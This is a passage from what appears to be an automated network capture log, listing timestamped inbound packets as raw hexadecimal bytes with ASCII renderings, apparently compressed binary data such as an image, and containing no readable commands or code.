0"MSK[Oqih>UH*vgu;'d8VI}K.<,<g9w,m:x]-+A"L}>L^k-rhE?[?c+uH;]ka?w#][Yr@md,(2"$}t
2022-07-20 07:08:24 UTC	1943	IN	Data Raw: c9 2e 65 d3 f5 ad 53 48 96 36 0d 3e 9f a7 dd 97 9d 90 ff 00 ac 91 24 9b e6 28 bc 2f 2d b8 f5 ac 3b 8b c9 17 4b 63 71 02 ea b1 79 66 0b 69 f5 05 9a 79 d7 07 8c ca cd fb a6 ee 31 f2 d5 7a 88 f9 b1 7c 4d 3c 97 1f 24 ed 12 c9 f3 6e 65 de fc d7 7b e0 7d 03 c0 5f d9 ed ab 78 a3 c4 1a 96 b1 3b 31 58 bc 3b 69 ba 09 3d da e2 5c 1d a8 7f ba 9c fb 8a f5 ab ff 00 00 fc 34 86 ce f3 47 d2 3c 39 73 a7 df f9 62 e6 7b eb e9 e4 96 7b 78 81 e0 c6 ae 42 bb 1c 74 c6 3f 2a e3 3c 71 e2 8b 69 96 7f 0e e8 5e 18 5d 31 ef ad 87 da ee 56 31 e6 dc 46 0e 43 b3 9c b7 27 e6 20 e0 0e 80 57 9e a5 7d 12 3a 9a ee 7a 3f 87 75 af 0b 5b c6 b0 e8 76 3a 27 87 92 7d 9e 62 db 6c 59 78 ee a5 b3 27 d4 f7 ae 2b c7 fe 09 d0 fe 25 c6 ba bc 1a e3 5b 4b 6d 29 8e f6 ed bf 7a ac a5 b3 ce 70 cc fe 9d 6b cf Data Ascii: .eSH6>$(/-;Kcqyfiy1z\|M<$ne{}_x;1X;i=\4G<9sb{{xBt?*<qi^]1V1FC' W}:z?u[v:'}blYx'+%[Km)zpk
2022-07-20 07:08:24 UTC	2046	IN	Data Raw: d2 ee 1b 36 b8 b8 82 4d 2a 78 a4 f3 27 92 29 ff 00 75 b8 9e 24 31 f6 cf f7 85 24 3e 32 5b 7b ad 97 97 57 33 db b4 9e 64 7e 7e 3c d8 ff 00 dd 78 cf 19 3d 71 8a 8e 52 f9 ec ac ce ca 4f 84 3a 06 b7 ac 35 fd a6 ae bf 65 58 ce eb 66 cf da 63 60 9d 58 3e 18 82 71 9e 3d ab c8 7c 6d a7 c9 71 22 db d9 aa ca de 58 69 16 08 e4 89 77 fe 27 39 f7 e2 bd 7b 49 be d1 b5 49 20 96 0d 7a 7d 36 fd 57 74 71 cf 22 37 96 ed 9f 97 79 c3 1f 5e 6b 6f c6 9a 4e a1 ab 68 f6 76 16 da f7 f6 7d ec 8a 1a 59 15 4c 0d 23 ff 00 0f cd 9e 87 ba 9e be b4 26 d6 e3 92 52 5a 68 7c b7 a3 f8 87 5d f0 6e a5 17 da 2f b5 2d b1 b0 da ab 39 6d ab e8 37 7a d7 a4 4d f1 03 c3 f7 f6 73 fd b7 c8 96 e2 f1 52 39 ff 00 70 59 ae 10 f3 86 56 c6 d2 3f bd 52 5d 78 5f c6 16 33 35 ee a1 ff 00 08 87 8a 9b cc db 24 73 Data Ascii: 6M*x')u$1$>2[{W3d~~<x=qRO:5eXfc`X>q=\|mq"Xiw'9{II z}6Wtq"7y^koNhv}YL#&RZh\|]n/-9m7zMsR9pYV?R]x_35$s
2022-07-20 07:08:24 UTC	2062	IN	Data Raw: 7f a8 68 22 eb 41 d5 a5 d7 a5 8b ed bf 66 93 4d 8e c6 da 48 ff 00 bd 11 46 0c 49 3c 03 cf 27 ee d5 7b cf 0e 9d 22 4d 32 fb 55 d3 34 fd 72 de f1 4d dc 73 e9 f7 25 3e cb 1a 1c 49 1f 95 23 05 c6 59 7a 11 ed de b3 ed ad 74 bd 27 c3 77 d1 43 a5 4f 3f 88 2f 9b 6c 57 32 5d 97 5b 34 8c 8e 76 ae 43 07 53 cf 3f 2d 1d 03 76 6e f8 7f c6 9a 34 d7 df 64 f1 bc f6 d7 da 5e 9b e7 5a 49 a4 dc de cd 66 db 18 92 aa 36 42 1b e4 7c 6e 53 ce 7a 63 35 cd 7d aa d6 76 5b 7d 47 48 8e f9 1a 01 25 a6 a1 65 6c 67 78 c8 5e 23 fd db 86 55 dd ce fe 71 8e 87 9a d8 f1 75 bc 51 c3 a7 ea 22 7d 26 7b dd 62 27 82 db ec 2c f0 2d ad ca 94 18 99 30 aa 32 3d 40 18 6c f3 5c c2 db ea da 5f 89 2d ad 97 4a d3 ec 75 9b 5f 97 fb 52 ca 14 9e d6 f1 b3 85 3f 37 c9 b7 f8 77 27 7e 7b 53 b8 68 b4 34 1f c2 f0 Data Ascii: h"AfMHFI<'{"M2U4rMs%>I#Yzt'wCO?/lW2][4vCS?-vn4d^ZIf6B\|nSzc5}v[}GH%elgx^#UquQ"}&{b',-02=@l\_-Ju_R?7w'~{Sh4
2022-07-20 07:08:24 UTC	2141	IN	Data Raw: ed 37 d6 cd 22 2b 35 b2 9e 5b 39 1b 1c 2f 7e b9 aa 95 a4 ac 63 aa 66 b7 87 7e 20 5b 6b de 3e 5b 4b fd 3e 08 99 58 41 05 da c7 ff 00 1e ec bd 23 0a 14 7d 0f 1f c3 5d e7 c4 ef 8f 52 5b ea 5a 64 9e 1a b9 be ff 00 84 7e 08 d2 56 66 9f 64 50 cc a7 6c 8b 6b d0 b2 30 03 70 3b b9 cf 5a 93 5c bc d5 35 4f 07 a1 f0 d6 95 26 a1 e2 66 90 c8 b2 da 2c 6b 3b 2e 70 16 78 d8 fc ec 50 e4 11 ca ed 3e b5 f3 2e ad ac 5f c7 66 d6 57 ae ca 96 d2 7e ee 06 51 fb b6 f4 1d c0 f6 e9 51 1a 6a 52 bd b6 1c 9d 91 b9 f1 4b 52 f0 ef 8a 26 fe dd b2 b6 b9 d3 35 cb ab 99 25 d4 ac 64 c3 41 23 39 2c 25 87 1f 32 7f b4 87 d7 23 8e 2a 87 83 fc 55 a7 f8 66 c6 f0 9b 18 ee 75 1b 9c 2c 72 49 1e ef 2d 01 1f 2a ff 00 08 cf 39 35 c7 f9 8f 70 cd 21 6d cd fe d3 50 d2 14 e4 7d ea e8 e5 d2 c6 6e 4f 73 d5 35 Data Ascii: 7"+5[9/~cf~ [k>[K>XA#}]R[Zd~VfdPlk0p;Z\5O&f,k;.pxP>._fW~QQjRKR&5%dA#9,%2#Ufu,rI-95p!mP}nOs5
2022-07-20 07:08:24 UTC	2181	IN	Data Raw: 7c 86 61 0a b3 15 6e e4 9f 55 ac ef 10 db 5e 6a 10 ea 7a 8f 87 ae 64 82 d6 d5 52 5b 98 23 de bf 67 91 9f 6a 7e f2 4f 9a 40 46 3e 63 82 09 02 b7 fc 5b f0 9f 5d bc be 59 23 f0 e6 ad e0 e8 3c a3 b9 b5 b9 d1 fc e9 09 fd e8 69 51 46 df 9b a1 7c 71 c5 72 a7 e1 c7 8a fc 35 1d f5 dc b1 36 99 64 e7 ec 97 5a 6d f4 d2 46 2f 3e 70 56 21 c6 25 52 40 65 3f 77 80 68 d2 d6 43 db 56 6f 69 57 36 1a a7 85 e7 d3 35 bb cd 3e 7f 1a cf 77 6f 26 9a d7 d9 d8 b1 b0 2b 22 b8 58 be f1 04 37 99 bd 71 b7 b9 c5 62 5d 25 dd d6 b4 a9 af ea 73 ea f6 7a 7e c5 bb b4 56 ff 00 8f 88 f1 9c a4 90 96 ca 6c fe 3e 0d 6b d8 f8 5a 18 f4 d4 d5 75 9f 0d 6a 51 78 72 0b df b2 5e ea 96 52 2b 4f 1e d0 1c ac 25 b2 5d a3 04 76 c0 e8 4d 63 cc b6 7e 13 ba b1 d4 24 8b 52 56 ba 59 25 8e 4b e6 92 26 ba 89 8f ee Data Ascii: \|anU^jzdR[#gj~O@F>c[]Y#<iQF\|qr56dZmF/>pV!%R@e?whCVoiW65>wo&+"X7qb]%sz~Vl>kZujQxr^R+O%]vMc~$RVY%K&
2022-07-20 07:08:24 UTC	2229	IN	Data Raw: a1 51 f7 bf 75 9d a7 23 a8 c6 6b 73 56 d2 f5 ff 00 88 5e 36 d3 3c 39 a2 5c dc de 6a 5a 86 c6 97 ee 24 11 db a6 3a a7 44 8c 7f 70 74 f4 e6 b8 65 18 f3 39 ec 8e c8 bd 14 37 38 cf 15 78 76 4f 0f eb 16 cf a1 cb a5 ea f6 bf d9 f1 cb 7b a8 45 72 ec 90 c8 e8 1c 8c 37 cc af f7 b7 2f 3e be d5 c3 dd 6a 16 1a a7 37 f7 31 c0 cd 95 82 48 99 df 73 76 cd 7d a1 e2 cf 85 bf 0f be 14 e9 71 6a 66 cd af bc 4d a8 59 4d 14 77 7a 82 ba a5 bd c0 3b 4a db da e3 04 c6 fd 59 f9 50 dd fa 57 c7 7f 1c 2e 2c b4 ff 00 12 58 bd b6 91 fd 95 a8 f9 67 ed 73 b3 6f 59 18 00 a7 03 18 c8 39 ed 5a 50 9f 36 db 19 4d 72 99 fa 96 b5 69 75 34 02 da 56 6b f9 14 6e 9e 08 0b cb 37 ba 63 f9 1a e6 ee 9e 2b 0d 52 5b 88 2f 9a 59 62 52 d1 2c f0 6d 59 32 bd 73 c6 1f fa d3 f4 ff 00 15 58 58 58 ac 76 d6 7f 66 Data Ascii: Qu#ksV^6<9\jZ$:Dpte978xvO{Er7/>j71Hsv}qjfMYMwz;JYPW.,XgsoY9ZP6Mriu4Vkn7c+R[/YbR,mY2sXXXvf
2022-07-20 07:08:24 UTC	2293	IN	Data Raw: 63 4c f8 3f 6e b6 7a 7c b0 6a be 23 97 12 2e 9e ad f2 43 19 19 dd 2e 3b 9e 30 b9 04 f5 e0 75 0a 5a 99 df b6 17 c6 2b 9f 0b f8 7e c7 c2 9a 35 cc f0 6a 9a be f9 ee da d9 4e f8 ed 7a 08 c3 0e 9e 63 70 71 ce da f8 2b 5c b9 b8 b7 8e 59 75 58 a3 4b 76 c7 97 1c 12 6d 7c 13 d0 6d e1 7a 71 57 fc 71 f1 5f 51 f1 ff 00 8a 2f bc 41 ae dd 4f f6 c9 e4 12 6d b6 50 9b 70 31 c0 1c 2f b6 2b 81 bf d5 ac e3 bc 8a 44 9f ed 8b e5 fc ca d1 95 5d d9 3f 29 c9 f9 bf de ac 95 37 29 73 34 6a e5 cb 1e 54 58 d5 b5 57 78 dd e2 9e 48 1f 71 db 1c ec 5f e5 3e 9e 95 87 79 ac 5c 49 1a 87 95 59 d7 e5 f3 19 7e 7d b8 c7 53 ff 00 eb a6 5c ea 56 f3 2c a1 e0 f9 9b fd 5e d6 ff 00 56 de fe b5 49 94 5c c7 97 f9 63 fe ea d7 5f 2a 47 35 db 76 3d 03 e1 cf 8a 12 c5 67 b3 f2 ee 6e 6e 2e 70 cb fb c0 aa ac Data Ascii: cL?nz\|j#.C.;0uZ+~5jNzcpq+\YuXKvm\|mzqWq_Q/AOmPp1/+D]?)7)s4jTXWxHq_>y\IY~}S\V,^VI\c_*G5v=gnn.p
2022-07-20 07:08:24 UTC	2301	IN	Data Raw: 09 9b 49 bc b9 b7 d5 6d ae 6f ed a7 da da b6 88 a5 60 54 6c 93 21 20 ee 28 3f bc c9 81 d2 b8 8d 7a de c7 6b 5b 9d 3e 3b 67 b5 88 2a dd c1 0c 7b e6 5c 9f df 29 50 3c d4 61 ca c8 45 2d 6c 5d f4 1d a9 7c 42 96 c2 69 60 89 6e e7 59 64 f3 56 46 f9 76 e3 a1 d8 7b 11 d4 1a e2 26 d4 24 92 e1 ae 5e 75 56 91 b7 34 6c bf 2f d3 15 b7 e2 4d 7b 45 86 e3 6e 8d 6d 77 3a 47 17 96 cd a8 49 bb e6 ee 57 6f 5e 73 8a e2 1a e2 49 99 8e e6 fe f6 ea e4 51 b6 a5 4b 52 7b eb e9 2f 24 cb ae d5 fe 15 55 f9 56 ae e9 7e 1f bc be b1 97 50 16 cd 2d 84 4c 55 99 64 0a cc 7d 00 ea 7f 0a ca 76 2d c7 de 6f ef 35 74 e3 c7 f7 36 76 31 5a 58 db 41 62 91 c6 15 99 57 7b b7 e2 df 77 e8 31 4f a0 1d 4f c3 bf 07 cb e2 49 96 eb 54 8a 0b 3d 06 3f bd e7 c9 e4 6e c7 65 fe b5 bb e3 af 14 78 22 1d 2f fb 3b Data Ascii: Imo`Tl! (?zk[>;g*{\)P<aE-l]\|Bi`nYdVFv{&$^uV4l/M{Enmw:GIWo^sIQKR{/$UV~P-LUd}v-o5t6v1ZXAbW{w1OOIT=?nex"/;
2022-07-20 07:08:24 UTC	2404	IN	Data Raw: 54 71 04 47 96 2c 4f 1d 4e 29 f1 f8 f3 c2 97 fa 3e a1 a3 c1 14 7a 7d bc 12 3f d8 67 8e 49 ae 67 b8 62 e1 50 33 3f fc b3 45 dc db 42 a9 a9 d1 6c 86 74 5e 21 ba 59 be 16 ea 16 02 7d 9a b5 e5 cb b4 be 62 97 69 ad d3 18 54 6c 6d 07 77 b8 ae 73 4a bc b6 d7 b4 fb ed 4f c5 1a ba b6 9d 1c a1 ed 34 fb ed 93 f9 93 2a 00 d9 1c 1c 04 c7 cb eb f4 a9 e4 92 ef 4d f0 2e 86 2e 6f a3 58 2f 2e 4c 92 5c df 2b ba ed 57 0c 15 10 0e bf ec e3 9a d2 d4 bc 2f ff 00 09 37 c4 0d 57 5f d4 2c 64 96 d6 c6 38 23 8a c7 c8 0b 2c 8e c9 b8 6e 4f e1 18 39 f9 be 95 2d ae a5 d9 bd b7 3c ee df e1 d6 a3 ac 49 17 88 22 d1 95 bc 3d 24 fe 6e d6 90 41 b6 1c f1 8c 9d d8 3d b8 fc 6b d9 ed be 27 68 fe 21 d1 ff 00 b0 bc 8f 3d 9a 09 22 8f 4d b6 5d 89 37 07 1c 7d de 06 39 c0 f5 ac 6d 53 45 b6 f1 26 a5 67 Data Ascii: TqG,ON)>z}?gIgbP3?EBlt^!Y}biTlmwsJO4*M..oX/.L\+W/7W_,d8#,nO9-<I"=$nA=k'h!="M]7}9mSE&g
2022-07-20 07:08:24 UTC	2483	IN	Data Raw: cf 1c 1e 66 45 f4 72 ea 51 a8 66 5b 69 37 23 3f 76 e0 63 27 d2 ac 3d d4 90 c9 12 15 f3 6e 3e f2 ff 00 75 73 ee 68 04 69 5d 6a 1a 64 3f bd 16 70 4b 2c ff 00 2f 97 02 8d fb 87 62 3a 63 1f 9d 2b 5f fd a6 1d 32 5f 2a 3b 69 ed 65 2b 17 d9 b1 bb 9e 7d ba 36 dc 7e 74 5f 34 76 da 7e c8 a2 82 e6 59 57 73 79 ed f2 ef 1e 83 bd 26 93 35 ba f9 b6 cf 79 ba 78 f6 49 12 c8 bf 22 fd 0e 3e ed 2b ea 51 fa 03 f0 8f f6 8c f0 de bd e0 98 9f 58 b9 b9 d2 b5 2b 1b 61 63 7b 04 70 6e 7b 87 3f f2 f1 13 70 39 ee a7 9c f6 35 99 f1 fb f6 88 93 e1 8c 3e 1c d3 fc 31 f6 69 6f 6f a2 6b d6 d6 56 34 9d 24 84 92 8a 02 9e 03 92 1b 39 e7 e5 af 8e 7c 23 f1 53 56 f8 7b ab 4f aa e9 ff 00 61 fd fa bc 1e 7d f4 02 7b 68 df fe 7a 2a e3 6e f5 ec c7 a7 bd 73 3e 3a d6 3c 49 e2 af 16 37 89 64 be 8e fa ea Data Ascii: fErQf[i7#?vc'=n>ushi]jd?pK,/b:c+_2_;ie+}6~t_4v~YWsy&5yxI">+QX+ac{pn{?p95>1iookV4$9\|#SV{Oa}{hzns>:<I7d
2022-07-20 07:08:24 UTC	2491	IN	Data Raw: 51 67 70 b2 b9 e1 af 61 a2 78 83 43 6d 1f 4e d5 6e da e2 fa f4 ab 69 3f 60 85 9a 34 c6 e4 68 5e 36 dc e7 25 97 61 5e 9c 86 ae 5e eb e1 d5 af 86 55 35 04 bc b6 f1 2a aa f9 9f 60 89 7e 75 60 71 e5 5c c4 71 24 67 ef 03 8e 95 e9 df 11 74 4d 0f 41 d4 3c cf 0f e9 9a 82 d8 4a a9 fd a8 d6 d1 c6 b7 33 3f c8 c1 96 0d bf ba 51 9f 95 a3 23 76 58 1e 95 cb 5e a5 dc 7a a5 b6 a7 e1 96 bb b6 d6 6c d4 4b 2b 6b 31 a7 9f 70 99 dc 92 ba 6d 1b b8 f5 dc 7d ea 46 71 77 3e 19 82 e7 49 b6 bc 9f 48 9b 41 8e ea e5 d6 2b e9 26 79 e0 55 ea 63 31 80 58 63 2b f3 7a 7a d2 59 f8 4a 76 b3 fb 22 4b 3d cb c4 df bd fb 36 f6 58 70 fb 55 94 e3 6f 05 87 7e 03 f6 35 e8 57 d6 d2 df 79 b1 da 78 6a 79 6f 7c a7 bb d4 2f ad 9a 46 69 19 df 72 cf 6e 14 06 55 d8 79 57 24 77 c8 ae 92 d7 5c d0 9f c2 f1 45 Data Ascii: QgpaxCmNni?`4h^6%a^^U5*`~u`q\q$gtMA<J3?Q#vX^zlK+k1pm}Fqw>IHA+&yUc1Xc+zzYJv"K=6XpUo~5Wyxjyo\|/FirnUyW$w\E
2022-07-20 07:08:24 UTC	2524	IN	Data Raw: 29 36 77 b0 19 3b 40 f6 f7 af 17 f1 3e 97 0e b7 7d 2f f6 1e a1 69 3c 4b b3 cc d3 ed 2c 8b b4 6a a0 6d 65 94 f7 65 f9 82 96 e3 18 35 b1 e1 ef 8c 7f 11 3c 27 62 be 1b 93 5c d3 f4 ab 75 9c ac 53 df 58 0f 3e 36 3c 10 65 0b bd 06 3a a9 38 a6 bb 04 5d b5 65 1d 2b c5 1a e7 c1 ff 00 18 5e 5a 68 97 9a 86 91 7f 3a 9b 39 27 b1 fd e2 c9 bb e6 68 bc b9 42 af 3d 0a e0 7b 13 5c a5 ff 00 8c de d6 69 43 f8 71 b4 ad 66 6b 93 3c 7a a5 b4 93 5a dd 29 23 05 42 83 b7 61 f4 c5 76 b2 78 da fe e6 3d 6a df 50 d7 3e d9 aa 6a 0a 23 92 e6 c6 70 8b 1a 02 0e 5c 32 32 cc 87 a8 da e1 97 19 a8 fc 4f e2 8d 7b fb 5a c6 0f 1a 6b 8b 7d 70 b1 08 ed 2e 60 92 39 62 86 1c 0d b2 00 a1 81 42 8c 3e 50 06 ef 98 70 45 1d 2c 3f 33 3f 56 b0 f1 0f 88 63 d0 6c 35 0b c8 35 ab 28 23 f2 2c a3 d3 ef e0 db 0e Data Ascii: )6w;@>}/i<K,jmee5<'b\uSX>6<e:8]e+^Zh:9'hB={\iCqfk<zZ)#Bavx=jP>j#p\22O{Zk}p.`9bB>PpE,?3?Vcl55(#,
2022-07-20 07:08:24 UTC	2540	IN	Data Raw: a6 68 94 4b 13 ff 00 12 fc c7 a7 dd 22 ab fd 93 42 b2 f0 dc ed a1 f8 a1 b4 ff 00 13 2c be 54 56 56 33 48 b0 5c 42 73 bb e7 c0 3c f1 8e df 2d 3f 42 5e 8a e6 b5 87 8c 0d f7 89 2f 2f 75 cd 29 a7 4d 42 d8 c1 fb b5 0c eb c6 12 74 72 18 97 0c 32 cd 85 2c 33 f3 0c d6 7f f6 f6 bd e1 5d 52 73 15 e5 a6 a1 3e b9 19 82 7f b4 c5 1d d3 2c 63 ee b1 2d 86 47 03 05 73 83 8e e6 b5 74 bf 86 be 29 f0 36 97 a2 f8 87 fe 11 c6 6b 0d 59 8c 71 2d f5 a2 5c c5 78 d8 c9 f2 1f 05 55 ba fc bf 29 ab 1a 76 8d e1 ed 4a 49 6c 6e f5 9b 9f 0a dd 33 bf 9b fb 86 9d 17 3d 12 58 58 e7 68 6f 4e 47 6a 7a b5 e6 3b f2 e8 73 52 f8 97 42 f0 2f 87 ee ec 34 2d 1e ce 4d 42 7d d0 cf ab 6a 59 9e 79 22 23 9f 2d 48 0b 1f e0 33 ef 58 da 1f 8a 27 d1 7c 33 2e 93 62 8a 82 ea 74 b9 9e 75 64 65 60 b9 da 30 46 47 Data Ascii: hK"B,TVV3H\Bs<-?B^//u)MBtr2,3]Rs>,c-Gst)6kYq-\xU)vJIln3=XXhoNGjz;sRB/4-MB}jYy"#-H3X'\|3.btude`0FG
2022-07-20 07:08:24 UTC	2556	IN	Data Raw: 1e d8 f8 71 34 f9 34 fd 6d 9a 49 6e e3 b9 5f 9a 37 df 82 48 ee 4e 38 ea 31 58 3a 53 c7 a5 ae e5 b9 93 57 b6 8e 5f 2b 6f d9 a6 8a e5 93 fe 7a 6d 20 8c 7b 67 22 bd 2f c2 36 27 e2 5a ff 00 66 6f f2 3c a8 9e 6f b7 6a 5f ba 7b 58 57 ef 29 66 ea 3d 16 bf 1f ab ed a9 c7 d8 c9 39 45 bb 9e 6b e6 97 b8 e3 e8 57 d2 3c 75 a8 e8 f6 3a 79 8d 96 0b d9 a4 db 12 db 7c ad 34 9d 01 da 3b fa 55 9d 57 51 5d 15 67 d5 35 c9 64 9f c8 8f 6c aa b9 75 85 33 9d bc 75 62 dd 7d e9 2d 74 4d 2b fe 12 48 a3 d3 9a e7 c4 ba df 97 e5 c1 65 a2 46 5d 61 03 8f 95 f1 d7 d6 4e 3b e2 ba 68 3e 0a fc 5e f8 8d a4 cf a1 0d 3e db c0 1e 1e d8 f1 b7 9a db e7 da 46 39 40 46 4e df ef b1 ae 1a 78 59 62 26 92 4e dd 7f e0 75 fb 93 34 85 19 48 f9 d3 c7 de 2d ff 00 85 91 71 3d ed 8a fc b6 f6 85 6d ad 9b fe 59 Data Ascii: q44mIn_7HN81X:SW_+ozm {g"/6'Zfo<oj_{XW)f=9EkW<u:y\|4;UWQ]g5dlu3ub}-tM+HeF]aN;h>^>F9@FNxYb&Nu4H-q=mY
2022-07-20 07:08:24 UTC	2563	IN	Data Raw: 93 6c 8a cc 76 c9 1b 76 fc 0d 4d df 41 7a 9e 60 2c 63 b6 86 28 a7 b3 b6 6b d5 6f 35 7f 77 b5 55 90 7c db 9d cf 2d ce 4a f4 38 ac 7f b3 5f fd aa 0b f4 b1 9d 6d e5 94 ac 73 d8 fc cb 23 ff 00 b2 38 db fe ee 6b d4 fc 4f 67 67 e3 2b a9 6e 34 f8 a3 b1 bc da ec b0 37 cf 15 d3 e3 9e bf 71 fd 33 c5 51 f0 2c 3f f1 2b bc d0 f5 86 fb 35 bd cb 79 51 c8 df 2b 5a dc 0e 46 7e be b5 49 e8 67 24 9b 2b 78 2f 44 4d 6b 5c d2 a4 37 32 69 17 1e 67 97 12 b3 07 49 31 b9 b0 5c 11 86 dd d5 7a d6 be a8 a6 c7 c4 96 78 b6 69 67 8f f7 7e 5c 91 ee 59 32 71 9c fa 8e 4f 3e 95 91 73 e1 3f ec bd 73 ed 92 d9 c1 e7 db 5d c7 2c 92 46 db b7 46 9c bf b6 ee 84 77 35 de 6b 11 c1 e2 4d 1d b5 5d 2e 76 b9 59 65 2c bb 63 db 3c 2e 0f f1 00 73 f7 7a d2 6f a9 ac 55 b4 38 eb ef 1a 4f 6b a8 5c d8 4b 63 06 Data Ascii: lvvMAz`,c(ko5wU\|-J8_ms#8kOgg+n47q3Q,?+5yQ+ZF~Ig$+x/DMk\72igI1\zxig~\Y2qO>s?s],FFw5kM].vYe,c<.szoU8Ok\Kc
2022-07-20 07:08:24 UTC	2579	IN	Data Raw: 74 d2 05 8a 7f b1 19 55 63 1d 03 91 20 64 65 ec cb c5 74 3a a5 9f 89 74 1d 2f ed 17 7a 9d a3 25 8c 42 59 1a 1b 47 45 da bd 57 1b b9 1f ed 67 3e d5 e1 3e 39 f8 a1 ae fc 34 d7 ac 74 fd 29 97 c4 3a 8c 93 fd a6 ee d3 cf 92 59 59 83 e3 f7 58 19 11 15 20 1f f6 b8 ed 5e 8d e1 ff 00 8d 9a 17 8b 3c 5d a6 47 71 05 df 87 a5 96 c7 ed b1 49 73 72 1e da e2 32 36 bc 2e 3e ee e0 e1 d7 9c 72 9e f4 c9 b3 b1 c6 fc 44 fd a0 a4 b1 ba f2 22 89 6c ed 59 8b 41 73 a7 c8 8c ea d8 e7 cd 8e 65 29 b1 bd 07 23 ad 78 be b9 f1 43 c3 de 3f 9a e7 4e f1 0f 84 2d 35 34 b9 64 58 ee e3 64 82 fa 3c 02 30 24 00 02 4e 7a d7 b7 78 ff 00 f6 54 3e 3a f1 24 b7 36 f2 ad 9e 9d 78 af 2a df 2c 81 56 37 c7 ca 19 3b f3 fc 42 b3 7c 01 f0 3f c7 7f 0c ef 2d b4 8b 9d 17 49 d7 34 99 e5 f3 1a ed 5a 37 9e 35 64 Data Ascii: tUc det:t/z%BYGEWg>>94t):YYX ^<]GqIsr26.>rD"lYAse)#xC?N-54dXd<0$NzxT>:$6x*,V7;B\|?-I4Z75d
2022-07-20 07:08:24 UTC	3503	IN	Data Raw: df de b8 ed 3f 52 96 c2 6c c6 db 5b fb db 8e d5 f5 c8 1d 45 6f 6b de 2a 7b 8b c6 16 1b 56 d5 17 6c 7b 94 7d dc 73 c7 45 1e 98 a5 a6 e1 a9 61 75 ab 94 68 a5 8f 57 86 7d cc 15 20 95 8e f5 53 ef d3 03 eb 54 2e ae be d3 ab 33 dc 37 95 75 03 1f 97 cc dc 8c e3 fb a4 71 58 2c 85 97 8f e2 a7 c2 8f 1c 8a 51 76 b2 e1 97 fb b4 98 ce e2 c3 50 bd 75 67 82 26 b9 49 30 bb 55 bf 88 f4 eb de 9f 24 8f 6c cc 97 91 4f 03 2b 1f dc 4f f7 b8 eb 8f e1 3f 85 61 ae b0 2f 2d fe c9 23 2d 9b fd ef 97 e5 59 3f fa f5 03 4d 73 63 1f c9 79 1c f0 37 ca d0 79 9b 99 7f 03 fc ea 41 25 62 5d 2b 55 9e df 5e fb 4d b3 35 b6 d6 3e 56 ef 9b 6f a6 47 43 5d a5 9f 86 df 55 f0 dc 5a ec eb 69 04 1f 6b 48 3c 8b 6b f4 59 d5 88 c8 90 c6 df 32 c6 7e e8 61 95 0d c6 2b cf ec 10 c9 71 b3 6f ce df 2e da f5 6d Data Ascii: ?Rl[Eok*{Vl{}sEauhW} ST.37uqX,QvPug&I0U$lO+O?a/-#-Y?Mscy7yA%b]+U^M5>VoGC]UZikH<kY2~a+qo.m
2022-07-20 07:08:24 UTC	3511	IN	Data Raw: a3 c7 67 04 73 c5 73 ad 5e 79 09 e6 46 b2 0d bb c8 dd f2 b0 03 e4 1d 2a de 8b e1 bd 2f 43 bc 89 ff 00 b2 17 4f bc 9d 63 f2 fe cd 23 aa c6 84 9f ba 18 9d a0 f7 35 9b aa ad a1 a7 b3 7b 9e 79 e3 ff 00 86 3e 29 6d 15 75 43 a1 ee b7 8a 4d b2 ad b7 cd 2d ab e3 25 1d 14 64 71 ce 7a 0f 5a f3 2d 1e c5 f5 5d 4a ce c2 29 55 5e 79 44 4a db be ee 4f 5a fb 27 44 f1 56 b8 d6 ff 00 6f b3 9f fb 22 ea 38 c4 4f 03 48 93 ab 79 64 a9 62 d9 1f 36 de 19 71 83 c7 1c 56 5e ac ba 14 37 1e 64 3a 7d 8b 2d ae 25 59 da d9 1f e4 23 24 fb 7c c7 9a ca 35 9e cd 17 c8 ba 1c 32 78 02 e7 4a b3 96 41 a8 7d a6 de 5f dd c0 d7 30 15 f9 00 c1 20 82 46 7e b5 cd 6b 9e 15 d6 fc 31 a9 33 db d9 b4 b6 ad 11 ff 00 4e 8f f7 a8 aa 07 3c 7b e7 a5 7a 1b 45 1d cc 9f 6c b6 db 3a 49 21 69 57 71 44 fb dd 86 7a Data Ascii: gss^yF*/COc#5{y>)muCM-%dqzZ-]J)U^yDJOZ'DVo"8OHydb6qV^7d:}-%Y#$\|52xJA}_0 F~k13N<{zEl:I!iWqDz
2022-07-20 07:08:24 UTC	3527	IN	Data Raw: c9 1c f2 d8 6a ba 7d 9c b7 4a 3c e8 e0 68 d1 99 06 0a 97 4e 08 74 76 da 5b 18 2b ce 7a d5 2b 9b 8d 7f 50 59 f5 9d 41 6d a2 bb 82 24 5b db eb 1b 68 51 2d d0 1f 2d 77 2a 1e 55 9b 03 70 03 9e 6a 1b 46 d9 ad 45 77 ab 5b 37 d8 97 7a ac 8d 6c 65 59 1d 70 40 25 70 c1 33 c1 23 8e 79 a9 fe d5 e2 79 af 2e 6c 34 fd 07 4f bc b7 8a 39 24 5d 26 e6 38 da 55 8e 53 c2 c6 01 0d 2a e7 e6 50 0b 11 e9 c6 2a ef a2 66 9a b2 2b ef 13 eb 1a ae a5 a7 cf 06 af a5 dc df c6 be 4c 77 6b 6c 11 95 5b 2a d1 b2 b0 2a e4 85 dd b8 77 6f ad 66 ea ba 7d a6 bd 24 b7 7f b8 66 89 92 28 d5 a6 74 bc b5 61 c6 1a 3c 6d 64 3f 78 28 e9 da ba 0f 0f 5e 5e 5a b5 ce a3 6d 3e 9e cf 1c a9 2a c5 73 04 6c d7 48 39 2a f0 16 dc e8 19 48 dd b7 27 bf 50 2b 03 c4 5a b5 b7 88 bc 49 7d ad cd a5 5b 69 4b 79 27 ef 34 Data Ascii: j}J<hNtv[+z+PYAm$[hQ--wUpjFEw[7zleYp@%p3#yy.l4O9$]&8USPf+Lwkl[wof}$f(ta<md?x(^^Zm>slH9*H'P+ZI}[iKy'4
2022-07-20 07:08:24 UTC	3559	IN	Data Raw: 97 7e 30 be 5d 23 4f f3 27 d5 3c bf 97 ec 90 79 be 4a 82 38 da 9c d6 b4 ef 4d 39 49 99 4b 96 c9 5b 53 c6 2e 21 16 d3 4b 11 6d db 58 af cb 5d 57 82 fe 10 f8 9f c7 b3 40 9a 3e 9b 24 ed 73 3a 5b 5b 2f dd 6b 89 18 e0 47 18 3c b9 ee c4 70 a3 92 45 6e e8 3f 0f 24 b0 be bb 8f 59 d2 ae e7 d6 63 90 34 5a 7f 96 ca b1 f3 92 65 e3 38 3f dd e3 8e 73 5f 56 7c 0f 5f 13 ab 5f 78 8f 5d 82 4b 3b f5 51 65 65 07 96 22 4b 5b 75 1d 22 41 85 44 3e dd 7f 13 5e 7e 67 9b 53 cb b0 ee b5 ef fa b3 1a 96 a7 17 26 8f 39 d6 3f 65 7f 0f fc 17 b7 b2 93 c4 7a aa 